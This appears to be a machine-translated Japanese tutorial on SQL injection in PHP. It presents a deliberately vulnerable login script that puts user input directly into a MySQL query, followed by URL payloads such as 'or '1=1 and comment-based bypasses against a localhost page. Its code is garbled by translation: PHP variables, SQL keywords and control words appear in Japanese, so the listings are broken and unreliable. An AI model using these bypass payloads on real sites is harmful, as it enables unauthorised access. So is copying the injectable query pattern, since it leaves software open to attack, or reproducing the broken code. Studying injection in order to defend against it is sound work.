まず、PHP での注入の特殊性と原理を理解するために例を示します。もちろん、この例では、効果的な SQL ステートメントの作成方法を学ぶこともできます。
ユーザー検証の例を見てみましょう。まず、次のようにデータベースとデータ テーブルを作成し、レコードを挿入します。
PHPコード:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment、
`ユーザー名` varchar(20) NOT NULL デフォルト '',
`パスワード` varchar(20) NOT NULL デフォルト '',
主キー (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3;
#
# テーブル `user` 内のデータをエクスポートします
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
ユーザー ファイルを確認するコードは次のとおりです。
PHPコード:
<?php
$サーバー名 = "ローカルホスト";
$dbusername = "ルート";
$dbpassword = "";
$dbname = "注入";
mysql_connect($servername,$dbusername,$dbpassword) または die (「データベース接続に失敗しました」);
$sql = "SELECT * FROM ユーザー WHERE ユーザー名='$ユーザー名' AND パスワード='$パスワード'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (空($userinfo)){
echo "ログインに失敗しました";
} それ以外 {
echo "ログイン成功";
}
echo "<p>SQL クエリ:$sql<p>";
?>
この時点で、
http ://127.0.0.1/injection/user.php?username=angel'or 1=1
を送信すると、次が返されます:
警告: mysql_fetch_array(): 指定された引数は有効な MySQL 結果リソースではありませんF :wwwinjectionuser.php の 13 行目
ログインに失敗しました
SQL クエリ:SELECT * FROM ユーザー WHERE ユーザー名='エンジェル' または 1=1' AND パスワード='
PHP 警告: mysql_fetch_array(): 指定された引数は、F:wwwinjectionuser.php の 13 行目で有効な MySQL 結果リソースではありません
。一重引用符が閉じられた後、次の一重引用符はコメントアウトされず、一重引用符が正しくペアにならないことになります。したがって、作成したステートメントでは Mysql を正しく実行できず、再構築する必要があることがわかります。
http://127.0.0.1/injection/user.php?username=angel'or '1=1
このとき、「Login Successful」と表示され、成功したことがわかります。または、以下を提出してください。
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
これにより、次のステートメントがコメント化されます。これら 2 つの投稿の違いについて説明します。言うまでもなく、最初に投稿した文は論理演算を使用しています。 2 番目と 3 番目の文は、mysql の特性に基づいています。Mysql は、/* と # の 2 つのコメント形式をサポートしているため、送信するときに次のコードをコメントアウトします。エンコードの問題により、# を送信することに注意してください。 IE のアドレス バーは空になるため、アドレス バーで送信する場合は、# になる前に %23 を送信する必要があります。これは、PHP の論理演算よりもはるかに簡単であることがわかります。 ASP よりもはるかに強力で柔軟です。